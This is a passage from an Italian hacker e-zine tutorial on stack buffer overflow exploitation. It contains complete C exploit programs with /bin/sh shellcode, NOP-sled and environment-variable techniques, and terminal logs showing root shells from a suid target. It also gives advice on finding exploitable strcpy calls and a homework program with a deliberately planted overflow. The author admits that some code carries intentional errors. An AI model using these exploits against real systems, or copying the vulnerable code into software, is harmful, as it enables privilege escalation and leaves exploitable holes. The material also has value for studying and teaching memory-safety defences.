  for (i = 0; i < strlen(shellcode); i++)
    large_string[i] = shellcode[i];
  
  /* posizioniamo lo shellcode all'inizio del nostro buffer */
  
  strcpy(buffer,large_string);
  
  /* il RET viene sovrascritto con l'indirizzo di buffer, che contiene il
     nostro shellcode , che viene eseguito */
}
---------- snip ----------

------------------------------------------------------------------------------
$ gcc -o exploit1 exploit1.c
$ ./exploit1
$ exit
$
------------------------------------------------------------------------------

Fin troppo facile! Le cose si complicano (molto) quando tentiamo di exploitare
un buffer overflow in un ALTRO programma, perche' non sappiamo dove il buffer
da OVERFLOWare (giuro che non lo dico piu':) si trovera'in memoria. E la
soluzione e'... ci buttiamo a indovinare! Non scherzo... piu' o meno funziona
cosi' :) Fortunatamente abbiamo varie tecniche che possono incrementare le 
nostre chances di successo. Sappiamo infatti che per ogni programma lo stack 
inizia allo stesso indirizzo, e che i programmi non salvano piu' di qualche 
centinaio o migliaio di byte sullo stack. Questo aumenta di moooooolto le 
nostre possibilita'. Ecco un programmino che stampa il suo ESP:

esp.c
---------- snip ----------
unsigned long get_sp(void) {
   __asm__("movl %esp,%eax");
}
void main() {
  printf("0x%x\n", get_sp());
}
---------- snip ----------

Ora scriviamo un piccolo programmino vulnerabile, rendiamolo suid root, e
tentiamo di exploitarlo:

vulnerable.c
---------- snip ----------
void main(int argc, char *argv[]) {
  char buffer[512];

  if (argc > 1)
    strcpy(buffer,argv[1]); /* guarda dove scrivi, cazzone! :) */
}
---------- snip ----------

exploit2.c
---------- snip ----------
#include <stdlib.h>

#define DEFAULT_OFFSET                    0
#define DEFAULT_BUFFER_SIZE             512

char shellcode[] =
  "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
  "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
  "\x80\xe8\xdc\xff\xff\xff/bin/sh";

unsigned long get_sp(void) {
   __asm__("movl %esp,%eax");
}
void main(int argc, char *argv[]) {
  char *buff, *ptr;
  long *addr_ptr, addr;
  int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE;
  int i;

  if (argc > 1) bsize  = atoi(argv[1]);
  if (argc > 2) offset = atoi(argv[2]);

  if (!(buff = malloc(bsize))) {
    printf("Can't allocate memory.\n");
    exit(0);
  }

  addr = get_sp() - offset;     /* l'indirizzo a cui si SUPPONE che il nostro 
				   codice si trovera' */

  printf("Using address: 0x%x\n", addr);

  ptr = buff;
  addr_ptr = (long *) ptr;  /* riempie il nostro buffer con quell'indirizzo */
  for (i = 0; i < bsize; i+=4) 
    *(addr_ptr++) = addr;

  ptr += 4;     
  for (i = 0; i < strlen(shellcode); i++)
    *(ptr++) = shellcode[i]; /* copia lo shellcode nel nostro buffer */

  buff[bsize - 1] = '\0';    /* per bloccare la copia da parte di strcpy */

  memcpy(buff,"EGG=",4); /* mette il tutto in una variabile d'ambiente $EGG */
  putenv(buff);          /* che useremo poi come argomento al programma     */ 
  system("/bin/bash");   /* vulnerabile                                     */ 
}
---------- snip ----------

Questo programma sembra piu' complicato di quanto non sia effettivamente.
Innanzitutto il programma riceve in input una grandezza del buffer (in genere
100 o 150 byte in piu' del buffer che stiamo cercando di OVERFLOWare (D'OH!)
vanno piu' che bene) e anche un offset, che poi sarebbe il numero che dobbiamo
indovinare...
Vediamo che succede...

$ ./exploit2 500
Using address: 0xbffffdb4
$ ./vulnerable $EGG
Segmentation Fault		( D'OH!!!)
$ ./exploit2 600
Using address: 0xbffffdb4
$ ./vulnerable $EGG
Illegal instruction             ( D'OH!!!)
........................
[circa 2000 "D'OH!!!" dopo...]
........................
$ ./exploit2 600 1564
Using address: 0xbffff794
$ ./vulnerable $EGG 
#				( WOHOOOO! )

Questo non e' un processo molto efficiente....sculando un po' si potrebbe
azzeccare l'offset con 200 tentativi, ma nella maggior parte dei casi ce ne
vorranno un migliaio. Non vale la pena direi, specialmente quando l'exploit, 
anziche' darti un errore e restituirti il prompt, ti incasina lo schermo e 
sei costretto a ricollegarti alla shell... 1000 entries nel wtmp non sono belle
anche per il piu' coglione degli admin :)
E allora come cazzo si fa? Fortunatamente esiste in ogni architettura una
istruzione "NOP". "Che fa questa istruzione fantastica??" vi sento chiedere..
"Un cazzo!" vi rispondo io, ma non e' per maleducazione. E' proprio che non 
fa un cazzo! Se il processore la incontra passa semplicemente all'istruzione 
successiva. QUINDI... se noi imbottissimo l'inizio del nostro buffer con un bel
pacco di NOP, amplieremmo (di molto) il "range" degli indirizzi di ritorno
possibili (che prima erano... UNO!). Se infatti l'indirizzo di ritorno va a 
cadere su uno di questi nop, il processore continuera' ad eseguirli finche' 
non arrivera' al nostro shellcode! graficamente...

           buffer                 fp   ret   a     b     c
          [NNNNNNNNNNNSSSSSSSSS][0xDE][0xDE][0xDE][0xDE][0xDE]
                 ^---->                |
                 |_____________________|

Ecco un nuovo exploit che utilizza questa tecnica:

exploit3.c
---------- snip ----------
#include <stdlib.h>

#define DEFAULT_OFFSET                    0
#define DEFAULT_BUFFER_SIZE             512
#define NOP                            0x90

char shellcode[] =
  "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
  "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
  "\x80\xe8\xdc\xff\xff\xff/bin/sh";

unsigned long get_sp(void) {
   __asm__("movl %esp,%eax");
}
oid main(int argc, char *argv[]) {
  char *buff, *ptr;
  long *addr_ptr, addr;
  int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE;
  int i;

  if (argc > 1) bsize  = atoi(argv[1]);
  if (argc > 2) offset = atoi(argv[2]);

  if (!(buff = malloc(bsize))) {
    printf("Can't allocate memory.\n");
    exit(0);
  }

  addr = get_sp() - offset;
  printf("Using address: 0x%x\n", addr);

  ptr = buff;
  addr_ptr = (long *) ptr;
  for (i = 0; i < bsize; i+=4)
    *(addr_ptr++) = addr;

  for (i = 0; i < bsize/2; i++)  /* riempie meta' del nostro buffer con NOP */
    buff[i] = NOP;

  ptr = buff + ((bsize/2) - (strlen(shellcode)/2));
  for (i = 0; i < strlen(shellcode); i++)
    *(ptr++) = shellcode[i];     /* e l'altra meta' con lo shellcode... */

  buff[bsize - 1] = '\0';

  memcpy(buff,"EGG=",4);
  putenv(buff);
  system("/bin/bash");
}
---------- snip ----------

------------------------------------------------------------------------------
$ ./exploit3 612 
Using address: 0xbffffdb4
$ ./vulnerable $EGG
#
------------------------------------------------------------------------------
Al primo tentativo! Un netto miglioramento direi...

	   - IO CE L'HO PICCOLO... IL BUFFER, NATURALMENTE -

Ci sono casi in cui il buffer che tentiamo di...ehm....uhm...OVERFLOWare 
(ehehehe) e' cosi' piccolo che O il nostro shellcode non c'entra, O il numero
di NOP che possiamo mettere e' cosi' piccolo che le probabilita' di azzeccarci
sono pressoche' ridicole. Anche in questo caso, una soluzione c'e', ma bisogna
avere accesso alle variabili d'ambiente del programma. Metteremo lo shellcode 
in una di queste variabili, e riempiremo il piccolo buffer con l'indirizzo
(presunto) di questa variabile in memoria. Questa tecnica e' molto efficiente,
poiche' possiamo usare anche variabili molto grandi (leggi: un grosso numero
di NOP), che aumentano esponenzialmnte le nostre possibilita'. Le variabili 
d'ambiente sono poste in cima allo stack quando il programma e' lanciato 
(vedi diagramma all'inizio). Il nostro programma di exploit richiedera' quindi
un'altra variabile, la grandezza del buffer che contiene shellcode e NOP).

exploit4.c
---------- snip ----------
#include <stdlib.h>

#define DEFAULT_OFFSET                    0
#define DEFAULT_BUFFER_SIZE             512
#define DEFAULT_EGG_SIZE               2048
#define NOP                            0x90

char shellcode[] =
  "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
  "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
  "\x80\xe8\xdc\xff\xff\xff/bin/sh";

unsigned long get_esp(void) {
   __asm__("movl %esp,%eax");
}

void main(int argc, char *argv[]) {
  char *buff, *ptr, *egg;
  long *addr_ptr, addr;
  int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE;
  int i, eggsize=DEFAULT_EGG_SIZE;

  if (argc > 1) bsize   = atoi(argv[1]);
  if (argc > 2) offset  = atoi(argv[2]);
  if (argc > 3) eggsize = atoi(argv[3]);


  if (!(buff = malloc(bsize))) {
    printf("Can't allocate memory.\n");
    exit(0);
  }
  if (!(egg = malloc(eggsize))) {
    printf("Can't allocate memory.\n");
    exit(0);
  }

  addr = get_esp() - offset;
  printf("Using address: 0x%x\n", addr);

  ptr = buff;
  addr_ptr = (long *) ptr;
  for (i = 0; i < bsize; i+=4)
    *(addr_ptr++) = addr;

  ptr = egg;
  for (i = 0; i < eggsize - strlen(shellcode) - 1; i++)
    *(ptr++) = NOP;

  for (i = 0; i < strlen(shellcode); i++)
    *(ptr++) = shellcode[i];

  buff[bsize - 1] = '\0';
  egg[eggsize - 1] = '\0';

  memcpy(egg,"EGG=",4);  /* variabile d'ambiente con i NOP e lo shellcode */
  putenv(egg);
  memcpy(buff,"RET=",4); /* variabile d'ambiente che contiene il RET */
  putenv(buff);
  system("/bin/bash");
}
---------- snip ----------

------------------------------------------------------------------------------
$ ./exploit4 768
Using address: 0xbffffdb0
$ ./vulnerable $RET
#
------------------------------------------------------------------------------
CVD... ancora piu' efficace di prima :) Gli offset possono essere positivi o
negativi.. dipende da quanti "dati d'ambiente" il nostro programma ha rispetto
a quello vulnerabile.

			- TROVARE BUFFER OVERFLOW -

Prendete i sorgenti. Essedo Linux free, troverete i sorgenti di qualsiasi cosa,
basta cercare un po'. E una volta trovati i sorgenti, cercate chiamate alle
funzioni strcat(), strcpy(), sprintf(), and vsprintf(), che basandosi su
stringhe terminate da ZERO, non controllano che il buffer che le riceve sia 
abbastanza grande da contenerle. Controllate se il programma fa qualche tipo
di "sanity check" prima di copiare, e controllate se l'argomento che viene
copiato puo' in qualche modo essere inserito dall'utente, attraverso la linea 
di comando ad esempio, o attraverso una variabile d'ambiente (vedi exploit per
DOSEMU). Se trovate qualcosa non postate a Bugtraq per fare i fighetti...
ditelo a me :) 

		 - I COMPITI PER CASA (IHIHIHIHIHI) -

Vi lascio questo programmino scritto da me (non che me ne vanti per carita', 
fa cagare :) ESSO contiene un buffer overflow. Non vi dico dove, perche' se
avete seguito fino a qui dovreste scoprirlo da soli. Il primo che mi manda un 
exploit per questo programma partecipera' all'estrazione di una bambola 
gonfiabile bucata (usata). 

---------- snip ----------
/************************************************************************
fuckdups.c
Genera una lista di host a partire dall'output del comando "host -l",
eliminando le eventuali ripetizioni scassacazzo.
Per gli "script kiddies" la' fuori...
$ host -l stoca.it >> in
$ ./fuckdups -I in -O out

La compilazione e' COSI' COMPLICATA che stavo pensando di inserire un
Makefile :) Dovrebbe compilarsi su qualsiasi oggetto che abbia la forma
di un computer...Il programma contiene VOLUTAMENTE un buffer overflow.
A meno che non siate cosi' coglioni da rendere questo proggie suidROOT,
questo non dovrebbe costituire un grosso problema per la sicurezza del
vostro sistema :)

$ gcc -Wall -o fuckdups fuckdups.c
                                             by Sircondor [B4dL4nd5]
***********************************************************************/

#include <stdio.h>
#include <string.h>
#include <getopt.h>

void usage(char *name) {
     printf("USAGE: %s -I [input file] -O [nice file]\n",name);
}

int check(char *filename,char *host) {
FILE *s;
char temp[100];
register int a;

s = fopen(filename,"r");

 while (fgets(temp,100,s)) {
 for (a=0;a<=strlen(temp);a++) if ((temp[a]=='\n')||(temp[a]=='\r')) temp[a]=0;
 if (!strcmp(host,temp)) { fclose(s); return(-1); }
 }
 fclose(s);
 return(0); /* not found */
}


void append(char *filename, char *host) {
FILE *s;

s = fopen(filename,"a");
fprintf(s,"%s\n",host);
fclose(s);
}

main(int argc, char *argv[])
{
char input[200],output[200]; /* static buffers = good targets :) */
char srv[100], *last;
FILE *f;
FILE *k;
register int a,cnt;

 if (argc < 5) { usage(argv[0]); exit(0); }

 while ((cnt = getopt(argc,argv,"I:O:")) != EOF) {
   switch(cnt){
   case 'I':
     strcpy(input,optarg);             
      break;
   case 'O':
     strncpy(output,optarg,199);       
     output[199] = 0;
     break;
   default:
   usage(argv[0]);
   exit(0);
   }
 }

 if ((f=fopen(input,"r")) == NULL) {
 perror(input);
 exit(0);
 }

k= fopen(output,"w");
fclose (k);   /* my version of touch :) */

while (fgets(srv,100,f)) {
for (a=0;a<=strlen(srv);a++) if ((srv[a]=='\n')||(srv[a]=='\r')) srv[a]=0;
last=strrchr(srv,' ');
if (last == NULL) continue;
if (!check(output,last+1)) append(output,last+1);

}
}
---------- snip ----------

				- THE END -

Ok, spero di essere stato abbastanza chiaro. Se avete domande da fare potete
scrivere all'indirizzo di BFi o direttamente a me... la mia mail e' 
valeriom@tiscalinet.it. Non mi chiedete perche' gli exploit non vi funzionano,
perche' 1) Mi fate girare le palle 2) molti ultimi exploit hanno qualche
errore nel codice inserito volutamente (si chiama "l'ANTI SCRIPT KIDDIE")
(in pratica vi ho risposto qui...). Se ho detto qualche cazzata non me ne 
assumo la responsabilita', anche perche' ho entrambi i neuroni occupati 
dall'esame di analisi... BYEZ GENTE.
				      SirCondor (valerio_ su ircnet/undernet)

--------------------[ previous ]---[ index ]---[ next ]---------------------
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
==============================================================================